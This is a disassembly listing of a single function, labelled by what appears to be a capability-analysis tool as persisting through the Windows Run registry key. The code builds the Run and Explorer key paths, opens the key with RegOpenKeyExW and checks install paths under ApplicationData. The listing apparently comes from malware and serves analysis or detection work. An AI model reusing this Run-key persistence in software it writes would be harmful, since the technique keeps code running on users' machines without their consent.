Function at 0x41529e
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov ebx, ecx
push edi
mov edi, dword [ebp + 8]
push edi
lea ecx, [ebx + 0x30]
call fcn.00402cac
call fcn.00413893
dec eax
lea ecx, [ebp - 8]
neg eax
lea esi, [ebx + 0x10]
push str.SoftwareMicrosoftWindowsCurrentVersionExplorer_
sbb eax, eax
add eax, 0x80000002
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], 5
call fcn.0040460a
push eax
mov ecx, esi
call fcn.004043c7
mov ecx, dword [ebp - 8]
call fcn.00406f1d
lea eax, [edi + 0x38]
push eax
lea ecx, [ebp - 8]
call fcn.00404656
lea eax, [ebp - 8]
mov ecx, esi
push eax
call fcn.004042c5
mov ecx, dword [ebp - 8]
call fcn.00406f1d
push str.inst
lea ecx, [ebp - 8]
call fcn.0040460a
push eax
lea ecx, [ebx + 0x18]
call fcn.004043c7
mov ecx, dword [ebp - 8]
call fcn.00406f1d
push str.InitWindows
lea ecx, [ebp - 8]
call fcn.0040460a
push eax
lea ecx, [ebx + 0x1c]
call fcn.004043c7
mov ecx, dword [ebp - 8]
call fcn.00406f1d
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
lea ecx, [ebp - 8]
call fcn.0040460a
push eax
lea ecx, [ebx + 0x14]
call fcn.004043c7
mov ecx, dword [ebp - 8]
call fcn.00406f1d
push ebx
push 0xf003f
push 0
push dword [esi]
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
neg eax
lea ecx, [ebp - 8]
lea edi, [ebx + 0x20]
sbb eax, eax
inc eax
mov dword [ebx + 0x24], eax
call fcn.00413960
push eax
mov ecx, edi
call fcn.004043c7
mov ecx, dword [ebp - 8]
call fcn.00406f1d
mov eax, dword [ebp + 8]
cmp dword [eax + 0x4c], 0
je 0x415415
mov edx, dword [ebx + 0xc]
lea ecx, [ebp - 8]
call fcn.00413915
push str.Documents:ApplicationData
lea ecx, [ebp - 8]
call fcn.004043fa
lea ecx, [ebp - 0xc]
call fcn.00413960
push eax
mov ecx, edi
call fcn.004043c7
mov ecx, dword [ebp - 0xc]
call fcn.00406f1d
push dword [ebp - 8]
mov esi, dword [sym.imp.USER32.dll_CharLowerW]
call esi
push dword [ebx + 0x20]
mov edi, eax
call esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
mov ecx, dword [ebp - 8]
test eax, eax
jne 0x41540a
mov dword [ebx + 0x24], 1
call fcn.00406f1d
jmp 0x4154c3
call fcn.00406f1d
mov eax, dword [ebp + 8]
lea edi, [ebx + 0x20]
cmp dword [ebx + 0x24], 0
je 0x4154c3
xor esi, esi
and dword [ebp - 0xc], esi
mov dword [ebp - 0x10], esi
cmp dword [eax + 0x20], esi
je 0x41549a
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
lea eax, [ebx + 0x18]
push eax
call fcn.00414d78
test eax, eax
je 0x415491
push ecx
push ecx
lea eax, [ebp - 0x10]
mov ecx, esp
push eax
call fcn.00404094
push ecx
push ecx
mov ecx, dword [ebp + 8]
push esp
call fcn.004069a9
lea ecx, [ebp - 0x18]
call fcn.0040709b
add esp, 0x10
lea ecx, [ebp - 8]
push ecx
mov ecx, eax
call fcn.00403f05
push eax
mov ecx, edi
call fcn.004043c7
mov ecx, dword [ebp - 8]
call fcn.00406f1d
and dword [ebp - 8], esi
lea ecx, [ebp - 0x18]
call fcn.00404081
mov dword [ebx + 0x28], 1
jmp 0x415494
and dword [ebx + 0x28], esi
mov eax, dword [ebp + 8]
mov esi, dword [ebp - 0x10]
cmp dword [eax + 0x28], 0
je 0x4154b8
lea ecx, [ebp + 8]
call fcn.00413960
push eax
mov ecx, edi
call fcn.004043c7
mov ecx, dword [ebp + 8]
call fcn.00406f1d
test esi, esi
je 0x4154c3
mov ecx, esi
call fcn.00406f66
pop edi
pop esi
pop ebx
leave
ret 4